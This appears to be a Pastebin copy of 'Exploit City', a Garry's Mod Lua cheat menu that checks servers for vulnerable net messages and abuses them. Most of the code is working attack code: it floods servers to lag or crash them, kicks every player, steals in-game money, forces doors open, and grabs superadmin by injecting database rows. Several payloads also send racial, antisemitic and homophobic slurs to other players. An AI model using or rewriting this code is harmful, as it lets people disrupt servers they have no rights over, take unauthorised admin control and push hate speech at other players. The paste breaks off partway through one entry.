Advertisement
Guest User

Untitled

a guest
Aug 21st, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.96 KB | None | 0 0
  1. //exploit city
  2. /*
  3. Exploit City By Voltz and Triggered
  4. For citizenhack.me
  5. */
  6.  
  7. function ECPrint( str )
  8. chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str .. "\n" )
  9. end
  10.  
  11. local function ECNotify(text)
  12.  
  13. local notify = vgui.Create( "DPanel" )
  14. notify:SetSize( 200, 50 )
  15. notify:SetPos( ScrW() - 200, -50 )
  16. notify.Paint = function(self, w, h)
  17. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  18. local bars = 50
  19. for i=0, bars, 1 do
  20. local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
  21. draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
  22. end
  23. //draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  24. draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  25. end
  26. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  27. timer.Simple( 3, function()
  28. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  29. end);end)
  30. end
  31.  
  32. function Initialize()
  33. chat.AddText(Color(0, 240, 255), "♬ Exploit City ♬")
  34. chat.AddText(Color(0, 240, 255), "Version 4.1.4")
  35. chat.AddText(Color(0, 200, 255), "Type exploits_open in console to open!")
  36. chat.AddText(Color(0, 200, 255), "Coded by triggered and Voltz\n")
  37. surface.PlaySound("HL1/fvox/bell.wav")
  38. net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
  39.  
  40.  
  41. /* Font Creation*/
  42. surface.CreateFont( "Roboto", {
  43. font = "Roboto",
  44. size = 18,
  45. } )
  46. surface.CreateFont( "Calibri-sm", {
  47. font = "Calibri",
  48. size = 15,
  49. } )
  50. surface.CreateFont( "Calibri-l", {
  51. font = "Calibri",
  52. size = 21,
  53. } )
  54. surface.CreateFont( "tahoma", {
  55. font = "Tahoma",
  56. size = 15,
  57. } )
  58. end
  59. ECNotify("Loaded Successfully!")
  60.  
  61. function ValidNetString( str )
  62.  
  63. local status, error = pcall( net.Start, str )
  64.  
  65. return status
  66.  
  67. end
  68.  
  69. function playSound(url)
  70.  
  71. sound.PlayURL(url, '', function( station )
  72.  
  73. if ( IsValid( station ) ) then
  74.  
  75. station:SetPos( LocalPlayer():GetPos() )
  76. station:Play()
  77.  
  78. end
  79. end)
  80.  
  81. end
  82.  
  83. Initialize(); // Initializes basic shit for when menu is loaded.
  84.  
  85.  
  86. /* [MENU] */
  87.  
  88. function draw.OutlinedBox( x, y, w, h, thickness, clr )
  89. surface.SetDrawColor( clr )
  90. for i=0, thickness - 1 do
  91. surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
  92. end
  93. end
  94.  
  95. local menu = vgui.Create( "DFrame" )
  96. menu:SetTitle("")
  97. menu:SetSize( 400, 300 )
  98. menu:SetPos( ScrW() / 2 - menu:GetWide() / 2, ScrH() / 2 - menu:GetTall() / 2 )
  99. menu:SetMouseInputEnabled(true)
  100. menu:SetKeyBoardInputEnabled(true)
  101. menu:SetVisible(false)
  102. menu:ShowCloseButton(false)
  103. menu:SetAlpha(0)
  104. menu.Paint = function( self, w, h )
  105. draw.RoundedBox( 0, 0, 0, w, h, Color( 20, 20, 20, 255 ) )
  106. draw.RoundedBox( 0, 0, 0, w, 32, Color( 25, 25, 25, 255 ) )
  107. local bars = 50
  108. for i=1, bars, 1 do
  109. local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
  110. draw.RoundedBox( 0, i * w / bars, 31, w / bars * -1, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
  111. end
  112. draw.RoundedBox( 0, 0, 35, w, 22, Color( 25, 25, 25 ) )
  113. draw.OutlinedBox( 0, 0, w, h, 3, Color( 15, 15, 15 ) )
  114. draw.OutlinedBox( 1, 1, w - 2, h - 2 , 1, Color( 45, 45, 45 ) )
  115. draw.SimpleTextOutlined( "Exploit City", "Roboto", menu:GetWide() / 2, 6, Color( 255, 255, 255, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 0.5, Color(255, 255, 255, 255))
  116. end
  117.  
  118. local closebtn = vgui.Create( "DButton", menu )
  119. closebtn:SetText( "X" )
  120. closebtn:SetTextColor( Color( 255, 0, 0 ) )
  121. closebtn:SetPos( menu:GetWide() - 31, 0 )
  122. closebtn:SetFont("Roboto")
  123. closebtn:SetSize( 31, 31 )
  124. closebtn.Paint = function( self, w, h )
  125. if closebtn:IsHovered() then
  126. draw.RoundedBox( 0, 0, 0, w, h, Color( 25, 25, 25, 255 ) )
  127. else
  128. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) )
  129. end
  130. end
  131.  
  132. closebtn.DoClick = function()
  133. menu:SetMouseInputEnabled(false)
  134. menu:SetKeyBoardInputEnabled(false)
  135. menu:AlphaTo(0, 0.5, 0, function()
  136. menu:SetVisible(false)
  137. hook.Remove("RenderScreenspaceEffects", "menuBlur")
  138. end)
  139. end
  140. local tabs = vgui.Create( "DPropertySheet", menu )
  141. tabs:Dock( FILL )
  142. tabs:DockPadding( -5, 5, 0, 0)
  143. tabs.Paint = function (self, w, h)
  144. for k, v in pairs(tabs.Items) do
  145. if (!v.Tab) then continue end
  146.  
  147. v.Tab.Paint = function(self,w,h)
  148. draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
  149. draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 45, 45, 45, 255 ) )
  150. if ( tabs:GetActiveTab() == v.Tab ) then
  151. draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
  152. //draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
  153. draw.RoundedBox( 0, 0, 22, w, 1, Color(255,255,255,255))
  154. end
  155. end
  156. end
  157. end
  158.  
  159. local exploitsPanel = vgui.Create( "DPanel", tabs )
  160. exploitsPanel.Paint = function( self, w, h )
  161. draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25 ))
  162. draw.OutlinedBox( 0, 0, w, h, 1, Color( 45, 45, 45 ) )
  163. end
  164. local sheet1 = tabs:AddSheet( "Exploits", exploitsPanel )
  165. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  166. exploitsScrollPanel:Dock( FILL )
  167.  
  168. local toolsPanel = vgui.Create( "DPanel", tabs )
  169. toolsPanel.Paint = function( self, w, h )
  170. draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25 ) )
  171. draw.OutlinedBox( 0, 0, w, h, 1, Color( 45, 45, 45 ) )
  172. end
  173. local sheet2 = tabs:AddSheet( "Tools", toolsPanel )
  174. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  175. toolsScrollPanel:Dock( FILL )
  176.  
  177. function addExploit(id, text, desc, func)
  178.  
  179. local id = vgui.Create( "DButton", exploitsScrollPanel )
  180. id:SetText( text )
  181. id:SetTextColor( Color( 200, 200, 200 ) )
  182. id:SetFont("Roboto")
  183. id:Dock( TOP )
  184. id:DockMargin( 10, 10, 10, -5 )
  185. id:DockPadding( 2, 25, 2, 50 )
  186. id.DoClick = func
  187.  
  188.  
  189. id.Paint = function( self, w, h )
  190. if id:IsHovered() then
  191. draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  192. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  193. else
  194. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  195. end
  196. surface.SetDrawColor( 0, 0, 0, 255)
  197. surface.DrawOutlinedRect( 0, 0, w, h )
  198. end
  199. end
  200.  
  201. local status = ValidNetString("TCBuyAmmo")
  202. if (status) then
  203. ECPrint("Found exploitable net message: TCBuyAmmo")
  204. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  205. surface.PlaySound("garrysmod/ui_click.wav")
  206. ECPrint("Getting Le Ammo")
  207. for k,v in pairs(GAMEMODE.AmmoTypes) do
  208.  
  209. net.Start("TCBBuyAmmo")
  210.  
  211. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  212.  
  213. net.SendToServer()
  214.  
  215. end
  216. end);end
  217.  
  218.  
  219.  
  220. local status = ValidNetString("DataSend")
  221. if (status) then
  222. ECPrint("Found exploitable net message: Steal All Monies #1")
  223. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  224. surface.PlaySound("garrysmod/ui_click.wav")
  225. for k, v in pairs( ents.GetAll() ) do
  226.  
  227. if v:GetClass() == "adv_moneyprinter" then
  228.  
  229. ECPrint("Collecting Money")
  230.  
  231. net.Start("DataSend")
  232.  
  233. net.WriteFloat(2)
  234.  
  235. net.WriteEntity(v)
  236.  
  237. net.WriteEntity(LocalPlayer())
  238.  
  239. net.SendToServer()
  240.  
  241. end;end
  242. end);end
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249. local status = ValidNetString("FarmingmodSellItems")
  250. if (status) then
  251. ECPrint("Found Exploit: Free Money")
  252. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  253. surface.PlaySound("garrysmod/ui_click.wav")
  254. ECPrint("Enjoy the b1g monies")
  255. net.Start( "FarmingmodSellItems" )
  256. net.WriteTable(
  257. {
  258. Cost = 10,
  259. CropModel = "models/props/eryk/garlic.mdl",
  260. CropType = 2,
  261. Info = "Garlic Seed",
  262. Model = "models/props/eryk/seedbag.mdl",
  263. Name = "Garlic",
  264. Quality = 4,
  265. Sell = 99999,
  266. Type = "Seed"
  267. }
  268. )
  269. net.WriteInt(1,16)
  270. net.SendToServer()
  271. end);end
  272.  
  273.  
  274. local status = ValidNetString("start_wd_emp")
  275. if (status) then
  276. ECPrint("Found Exploit: Hack Keypads")
  277. addExploit( "6","Hack Keypads", "Instantly opens nearby keypads. Has a cooldown", function()
  278. surface.PlaySound("garrysmod/ui_click.wav")
  279. ECNotify("Hacking Keypads")
  280. net.Start('start_wd_emp')
  281. net.SendToServer()
  282. end);end
  283.  
  284.  
  285. local status = ValidNetString("duelrequestguiYes")
  286. if (status) then
  287. ECPrint("Found Exploit: Get Money")
  288. addExploit( "7","Get Money", "Duel Exploit", function()
  289. surface.PlaySound("garrysmod/ui_click.wav")
  290. ECNotify("getting ez monies")
  291. net.Start("duelrequestguiYes")
  292. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  293. net.WriteEntity(table.Random( player.GetAll() ) )
  294. net.WriteString("Crossbow")
  295. net.SendToServer()
  296. end);end
  297.  
  298.  
  299.  
  300. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  301. if (status) then
  302. ECPrint("Found Exploit: TP")
  303. addExploit( "15", "TP", "No clue what this does xd", function()
  304. surface.PlaySound("garrysmod/ui_click.wav")
  305. ECPrint("TPing")
  306. net.Start("DarkRP_Kun_ForceSpawn")
  307. net.SendToServer()
  308. end);end
  309.  
  310.  
  311. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  312. if (status) then
  313. ECPrint("Found Exploit: Steal All Monies #2")
  314. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  315. surface.PlaySound("garrysmod/ui_click.wav")
  316.  
  317. ECPrint("Collecting Money")
  318.  
  319. for k, v in pairs(ents.GetAll()) do
  320.  
  321. if (v:GetClass() == "adv_moneyprinter") then
  322.  
  323. net.Start( "SyncPrinterButtons76561198056171650" )
  324.  
  325. net.WriteEntity(v)
  326.  
  327. net.WriteUInt(2, 4)
  328.  
  329. net.SendToServer()
  330.  
  331. end
  332.  
  333. end
  334. end);end
  335.  
  336. local function report()
  337. for i = 1, 2000 do
  338. net.Start("DL_Answering")
  339. net.SendToServer()
  340. end
  341. end
  342.  
  343. if (Damagelog) then
  344. ECPrint("Found Exploit: Kick All Players")
  345. reportSpam = 0
  346. addExploit( "17","Kick All Players", "Kicks all players", function()
  347. surface.PlaySound("garrysmod/ui_click.wav")
  348. if (reportSpam == 0) then
  349. ECNotify("Starting Kicker")
  350. reportSpam = 1
  351. timer.Create("reportSpammer", 0.05, 0, report)
  352. else
  353. ECNotify("Stopping Kicker")
  354. reportSpam = 0
  355. timer.Remove("reportSpammer")
  356. end
  357.  
  358. end);end
  359.  
  360.  
  361. local status = ValidNetString("SimplicityAC_aysent")
  362. if (status) then
  363. ECPrint("Found Exploit: Instant Crash")
  364. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  365. surface.PlaySound("garrysmod/ui_click.wav")
  366. ECPrint("Goodbye Server")
  367. local tbl = {}
  368.  
  369. for i=1,400 do
  370.  
  371. tbl[i] = i
  372.  
  373. end
  374.  
  375. net.Start("SimplicityAC_aysent")
  376.  
  377. net.WriteUInt(1, 8)
  378.  
  379. net.WriteUInt(4294967295, 32)
  380.  
  381. net.WriteTable(tbl)
  382.  
  383. net.SendToServer()
  384. end);end
  385.  
  386. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  387. if (status) then
  388. ECPrint("Found Exploit: Lagger #1")
  389. lagger1 = 0
  390. addExploit( "20", "Lagger #1", "b1g lags", function()
  391. surface.PlaySound("garrysmod/ui_click.wav")
  392. if (lagger1 == 0) then
  393. ECNotify("Starting Lagger")
  394. lagger1 = 1
  395. timer.Create("lagger1", 0.02, 0, function()
  396.  
  397. for k,v in pairs(player.GetAll()) do
  398.  
  399. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  400.  
  401. net.WriteEntity( v )
  402.  
  403. net.WriteString( "adminroom1" )
  404.  
  405. net.SendToServer()
  406.  
  407. net.Start( "ATS_WARP_FROM_CLIENT" )
  408.  
  409. net.WriteEntity( v )
  410.  
  411. net.WriteString( "adminroom1" )
  412.  
  413. net.SendToServer()
  414.  
  415. net.Start( "ATS_WARP_VIEWOWNER" )
  416.  
  417. net.WriteEntity( v )
  418.  
  419. net.WriteString( "adminroom1" )
  420.  
  421. net.SendToServer()
  422.  
  423. end
  424.  
  425. end)
  426. else
  427. ECNotify("Stopping Lagger")
  428. lagger1 = 0
  429. timer.Remove("lagger1")
  430. end
  431.  
  432. end);end
  433.  
  434.  
  435. local status = ValidNetString("CreateCase")
  436. if (status) then
  437. ECPrint("Found Exploit: Lagger #4")
  438. lagger4 = 0
  439. addExploit( "23", "Lagger #4", "b1g lags", function()
  440. surface.PlaySound("garrysmod/ui_click.wav")
  441. if (lagger4 == 0) then
  442. ECNotify("Starting Lagger")
  443. lagger4 = 1
  444. timer.Create("lagger4", 0.02, 0, function()
  445.  
  446. for i = 1, 300 do
  447.  
  448. net.Start( "CreateCase" )
  449.  
  450. net.WriteString( "tapped by citizenhack.me" )
  451.  
  452. net.SendToServer()
  453.  
  454.  
  455. end;end)
  456. else
  457. ECNotify("Stopping Lagger")
  458. lagger4 = 0
  459. timer.Remove("lagger4")
  460. end
  461.  
  462. end);end
  463.  
  464. local status = ValidNetString("rprotect_terminal_settings")
  465. if (status) then
  466. ECPrint("Found Exploit: Lagger #5")
  467. lagger5 = 0
  468. addExploit( "24", "Lagger #5", "b1g lags", function()
  469. surface.PlaySound("garrysmod/ui_click.wav")
  470. if (lagger5 == 0) then
  471. ECNotify("Starting Lagger")
  472. lagger5 = 1
  473. timer.Create("lagger5", 0.02, 0, function()
  474.  
  475. for i = 1, 200 do
  476.  
  477. net.Start( "rprotect_terminal_settings" )
  478.  
  479. net.WriteEntity( LocalPlayer() )
  480.  
  481. net.SendToServer()
  482.  
  483. end
  484.  
  485. end)
  486. else
  487. ECNotify("Stopping Lagger")
  488. lagger5 = 0
  489. timer.Remove("lagger5")
  490. end
  491.  
  492. end);end
  493.  
  494. local status = ValidNetString("StackGhost")
  495. if (status) then
  496. ECPrint("Found Exploit: Lagger #6")
  497. lagger6 = 0
  498. addExploit( "25", "Lagger #6", "b1g lags", function()
  499. surface.PlaySound("garrysmod/ui_click.wav")
  500. if (lagger6 == 0) then
  501. ECNotify("Starting Lagger")
  502. lagger6 = 1
  503. timer.Create("lagger6", 0.010, 0, function()
  504.  
  505. for i = 1, 8 do
  506. for k,v in pairs( player.GetAll() ) do
  507. net.Start( "StackGhost" )
  508. net.WriteInt(69,32)
  509. net.SendToServer()
  510.  
  511. end;end;end)
  512. else
  513. ECNotify("Stopping Lagger")
  514. lagger6 = 0
  515. timer.Remove("lagger6")
  516. end
  517.  
  518. end);end
  519.  
  520.  
  521. local status = ValidNetString("NLRKick")
  522. if (status) then
  523. ECPrint("Found Exploit: Kick All")
  524. addExploit( "27","Kick All", "kick all the beaners", function()
  525. surface.PlaySound("garrysmod/ui_click.wav")
  526. ECNotify("Kicking All")
  527. for k,v in pairs(player.GetAll()) do
  528. if v != LocalPlayer() then
  529. net.Start("NLRKick")
  530. net.WriteEntity(v)
  531. net.SendToServer()
  532. end
  533. end
  534. end);end
  535.  
  536. local status = ValidNetString("JoinOrg")
  537. if (status) then
  538. ECPrint("Found Exploit: Lagger #7")
  539. lagger7 = 0
  540. addExploit( "28", "Lagger #7", "b1111g lags", function()
  541. surface.PlaySound("garrysmod/ui_click.wav")
  542. if (lagger7 == 0) then
  543. ECNotify("Starting Lagger")
  544. lagger7 = 1
  545. timer.Create("lagger7", 0.02, 0, function()
  546.  
  547. for k,v in pairs(player.GetAll()) do
  548. net.Start("JoinOrg")
  549. net.WriteEntity(LocalPlayer())
  550. net.WriteString("test")
  551. net.SendToServer()
  552. end
  553.  
  554. end)
  555. else
  556. ECNotify("Stopping Lagger")
  557. lagger7 = 0
  558. timer.Remove("lagger7")
  559. end
  560.  
  561. end);end
  562.  
  563. local status = ValidNetString("timebombDefuse")
  564. if (status) then
  565. ECPrint("Found Exploit: Delete All Props")
  566. addExploit( "30","Delete All Props", "props = dead", function()
  567. surface.PlaySound("garrysmod/ui_click.wav")
  568. ECNotify("Props De_Stroyed")
  569. for k,v in pairs(ents.GetAll()) do
  570. net.Start("timebombDefuse")
  571. net.WriteEntity(v)
  572. net.WriteBool(true)
  573. net.SendToServer()
  574. end
  575. end);end
  576.  
  577. local status = ValidNetString("pac_submit")
  578. if (status) then
  579. ECPrint("Found Exploit: Lagger")
  580. addExploit( "31","Lagger #8", "l4g yuh", function()
  581. surface.PlaySound("garrysmod/ui_click.wav")
  582.  
  583. if !timer.Exists( "lagger8" ) then
  584. timer.Create("lagger8", 0.5, 0, function()
  585. for i=1, 1800 do
  586. net.Start("pac_submit")
  587. net.SendToServer()
  588. end
  589. end)
  590. ECNotify("Starting Lagger")
  591. else
  592. timer.Remove("lagger8")
  593. ECNotify("Stopping Lagger")
  594. end
  595. end);end
  596.  
  597.  
  598. local status = ValidNetString("steamid2")
  599. if (status) then
  600. ECPrint("Found Exploit: Lagger #9")
  601. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  602. surface.PlaySound("garrysmod/ui_click.wav")
  603.  
  604. if !timer.Exists( "lagger9" ) then
  605.  
  606. ECNotify("Starting Lagger")
  607.  
  608. timer.Create( "lagger9", 0, 0, function()
  609.  
  610. for i = 1, 150 do
  611.  
  612. net.Start( "steamid2" )
  613.  
  614. net.WriteString( "this is what u get for scamming faggot" )
  615.  
  616. net.SendToServer()
  617. end
  618. end)
  619. else
  620. timer.Remove("lagger9")
  621. ECNotify("Stopping Lagger")
  622. end
  623.  
  624. end);end
  625.  
  626. local status = ValidNetString("NDES_SelectedEmblem")
  627. if (status) then
  628. ECPrint("Found Exploit: Lagger #10")
  629. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  630. surface.PlaySound("garrysmod/ui_click.wav")
  631.  
  632. if !timer.Exists( "lagger10" ) then
  633. timer.Create("lagger10", 0.5, 0, function()
  634. for i=1, 2000 do
  635. net.Start("NDES_SelectedEmblem")
  636. net.WriteString("exploitcity")
  637. net.SendToServer()
  638. end
  639. end)
  640. ECNotify("Starting Lagger")
  641. else
  642. timer.Remove("lagger10")
  643. ECNotify("Stopping Lagger")
  644. end
  645.  
  646.  
  647. end);end
  648.  
  649.  
  650.  
  651. local status = ValidNetString("Morpheus.StaffTracker")
  652. if (status) then
  653. ECPrint("Found Exploit: Crasher #1")
  654. addExploit( "33","Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
  655. surface.PlaySound("garrysmod/ui_click.wav")
  656.  
  657. if !timer.Exists( "crasher3" ) then
  658. timer.Create("crasher3", 0.5, 0, function()
  659. for i=1, 2000 do
  660. net.Start("Morpheus.StaffTracker")
  661. net.SendToServer()
  662. end
  663. end)
  664. ECNotify("Crashing Server")
  665. else
  666. timer.Remove("crasher3")
  667. ECNotify( "Canceling Crasher" )
  668. end
  669.  
  670. end);end
  671.  
  672.  
  673. local status = ValidNetString("egg")
  674. if (status) then
  675. ECPrint("Found Exploit: Get Easter Egg")
  676. addExploit( "34","Get Easter Egg", "ez eggs", function()
  677. surface.PlaySound("garrysmod/ui_click.wav")
  678.  
  679. net.Start("egg")
  680. net.SendToServer()
  681. ECNotify("Gave Easter Egg")
  682.  
  683. end);end
  684.  
  685. local status = ValidNetString("TalkIconChat")
  686. if (status) then
  687. spoofchat = 0
  688. ECPrint("Found Exploit: Spoof Chat Icon")
  689. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  690. surface.PlaySound("garrysmod/ui_click.wav")
  691.  
  692. if spoofchat == 0 then
  693. hook.Remove('StartChat', 'TalkIcon')
  694. net.Start("TalkIconChat")
  695. net.WriteBool(true)
  696. net.SendToServer()
  697. spoofchat = 1
  698. ECNotify("Enabled Icon Spoofer")
  699. else
  700. net.Start("TalkIconChat")
  701. net.WriteBool(false)
  702. net.SendToServer()
  703. ECNotify("Disabled Icon Spoofer")
  704. spoofchat = 0
  705. end
  706.  
  707.  
  708. end);end
  709.  
  710.  
  711. local status = ValidNetString("join_disconnect")
  712. if (status) then
  713. ECPrint("Found Exploit: Lagger #11")
  714. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  715. surface.PlaySound("garrysmod/ui_click.wav")
  716.  
  717. if !timer.Exists( "lagger11" ) then
  718. timer.Create("lagger11", 0.5, 0, function()
  719. for i=1, 3000 do
  720. net.Start("join_disconnect")
  721. net.WriteEntity(table.Random(player.GetAll()))
  722. net.SendToServer()
  723. end
  724. end)
  725. ECNotify("Starting Lagger")
  726. else
  727. timer.Remove("lagger11")
  728. ECNotify("Stopping Lagger")
  729. end
  730.  
  731.  
  732. end);end
  733.  
  734.  
  735. local status = ValidNetString("pplay_deleterow")
  736. if (status) then
  737. ECPrint("Found Exploit: GET SUPERADMIN")
  738. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  739. surface.PlaySound("garrysmod/ui_click.wav")
  740.  
  741. local id = LocalPlayer():SteamID()
  742.  
  743. local tbl = {}
  744.  
  745. tbl.name = "FAdmin_PlayerGroup"
  746.  
  747. tbl.where = {
  748.  
  749. "steamid",
  750.  
  751. tostring(id)
  752.  
  753. }
  754.  
  755. net.Start("pplay_deleterow")
  756.  
  757. net.WriteTable(tbl)
  758.  
  759. net.SendToServer()
  760.  
  761.  
  762.  
  763. local tbl = {}
  764.  
  765. tbl.tblname = "FAdmin_PlayerGroup"
  766.  
  767. tbl.tblinfo = {
  768.  
  769. tostring(id),
  770.  
  771. "superadmin"
  772.  
  773. }
  774.  
  775. net.Start("pplay_addrow")
  776.  
  777. net.WriteTable(tbl)
  778.  
  779. net.SendToServer()
  780.  
  781. ECNotify("promotion ;)")
  782.  
  783.  
  784. end);end
  785.  
  786. -- ttt report bypass by daddy grampa
  787. local title = "You have been reported! Please answer all your reports."
  788. local function CheckChild(pan)
  789. if !pan || !IsValid(pan) then return end
  790. if pan.GetTitle && pan:GetTitle() == title then
  791. pan:Remove();
  792. print("Removed warning box")
  793. return
  794. end
  795. for k,v in pairs(pan:GetChildren()) do
  796. if v.GetTitle && v:GetTitle() == title then
  797. v:Remove();
  798. print("Removed warning box")
  799. return
  800. end
  801. if #v:GetChildren() > 0 then
  802. CheckChild(v)
  803. end
  804. end
  805. end
  806.  
  807.  
  808. if (engine.ActiveGamemode() == "terrortown") then
  809. bypass = 0
  810. ECPrint("Found Exploit: TTT Report Bypass")
  811. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  812. surface.PlaySound("garrysmod/ui_click.wav")
  813.  
  814. if (bypass == 0) then
  815. hook.Add("Think", "remove_ttt_report", function()
  816. local pan = vgui.GetHoveredPanel()
  817. CheckChild(pan)
  818. end)
  819. ECNotify("Enabled Report Bypass")
  820. bypass = 1
  821. else
  822. hook.Remove("Think", "remove_ttt_report")
  823. ECNotify("Disabled Report Bypass")
  824. bypass = 0
  825. end
  826.  
  827.  
  828. end);end
  829.  
  830. local status = ValidNetString("EZS_PlayerTag")
  831. if (status) then
  832. ECPrint("Found Exploit: Lagger #12")
  833. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  834. surface.PlaySound("garrysmod/ui_click.wav")
  835.  
  836. if !timer.Exists( "lagger12" ) then
  837. timer.Create("lagger12", 0.5, 0, function()
  838. for k, v in pairs(player.GetAll()) do
  839. net.Start( "EZS_PlayerTag" )
  840. net.WriteEntity(v)
  841. net.WriteString("I hate niggers")
  842. net.SendToServer()
  843. timer.Simple(2, function()
  844. net.Start( "EZS_PlayerTag" )
  845. net.WriteEntity(v)
  846. net.WriteString("I hate jews")
  847. net.SendToServer()
  848. end)
  849. end
  850. end)
  851. ECNotify("Starting Lagger")
  852. else
  853. timer.Remove("lagger12")
  854. ECNotify("Stopping Lagger")
  855. end
  856. end);end
  857.  
  858. if ConVarExists("advttt_spreadovertime_enabled") then
  859. ECPrint("Found Exploit: Remove Spread")
  860. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  861. surface.PlaySound("garrysmod/ui_click.wav")
  862. hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  863. ECNotify("Spread Removed")
  864. end);end
  865.  
  866.  
  867. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  868. if (status) then
  869. ECPrint("Found Exploit: TP")
  870. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  871. inputFrame3Exists = true
  872. inputFrame3 = vgui.Create( "DFrame" )
  873. inputFrame3:SetTitle("Type a String Destination")
  874. inputFrame3:SetSize( 400, 75 )
  875. inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  876. inputFrame3:SetDraggable(false)
  877. inputFrame3:ShowCloseButton(false)
  878. inputFrame3:MakePopup()
  879. inputFrame3.Paint = function( self, w, h )
  880. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  881. end
  882.  
  883. local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  884. TextEntry3:SetSize( 380, 30 )
  885. TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  886. TextEntry3:SetText( "*destination*" )
  887. TextEntry3.OnEnter = function( self )
  888. surface.PlaySound("garrysmod/ui_click.wav")
  889. ECNotify("Teleporting to " .. TextEntry3:GetValue() )
  890.  
  891. net.Start( "ATS_WARP_FROM_CLIENT" )
  892.  
  893. net.WriteEntity( LocalPlayer() )
  894. net.WriteString( TextEntry3:GetValue() )
  895.  
  896. net.SendToServer()
  897.  
  898.  
  899. inputFrame3:SetVisible(false)
  900. end
  901. end)
  902. end
  903.  
  904. local status = ValidNetString("fp_as_doorHandler")
  905. if (status) then
  906. ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners")
  907. addExploit( "42","Open Door", "Force open the door you are looking at", function()
  908. surface.PlaySound("garrysmod/ui_click.wav")
  909.  
  910. net.Start("fp_as_doorHandler")
  911.  
  912. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  913.  
  914. net.WriteString("unlock")
  915.  
  916. net.SendToServer()
  917.  
  918. ECNotify("Opened Door")
  919. end);end
  920.  
  921. local status = ValidNetString("fp_as_doorHandler")
  922. if (status) then
  923. addExploit( "43","Close Door", "Force close the door you are looking at", function()
  924. surface.PlaySound("garrysmod/ui_click.wav")
  925.  
  926. net.Start("fp_as_doorHandler")
  927.  
  928. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  929.  
  930. net.WriteString("lock")
  931.  
  932. net.SendToServer()
  933.  
  934. ECNotify("Opened Door")
  935. end);end
  936.  
  937. local status = ValidNetString("fp_as_doorHandler")
  938. if (status) then
  939. addExploit( "44","Remove Door Owner", "Force remove door owner of the door you are looking at", function()
  940. surface.PlaySound("garrysmod/ui_click.wav")
  941.  
  942. local door = LocalPlayer():GetEyeTrace().Entity
  943.  
  944. local doorOwner = door:getDoorData()["owner"]
  945.  
  946. net.Start("fp_as_doorHandler")
  947.  
  948. net.WriteEntity(door)
  949.  
  950. net.WriteString("removeOwner")
  951.  
  952. net.WriteDouble(doorOwner)
  953.  
  954. net.SendToServer()
  955.  
  956. ECNotify("Opened Door")
  957. end);end
  958.  
  959. local status = ValidNetString("VJSay")
  960. if (status) then
  961. ECPrint("Found Exploit: Broadcast")
  962. addExploit( "45","Broadcast", "Force remove door owner of the door you are looking at", function()
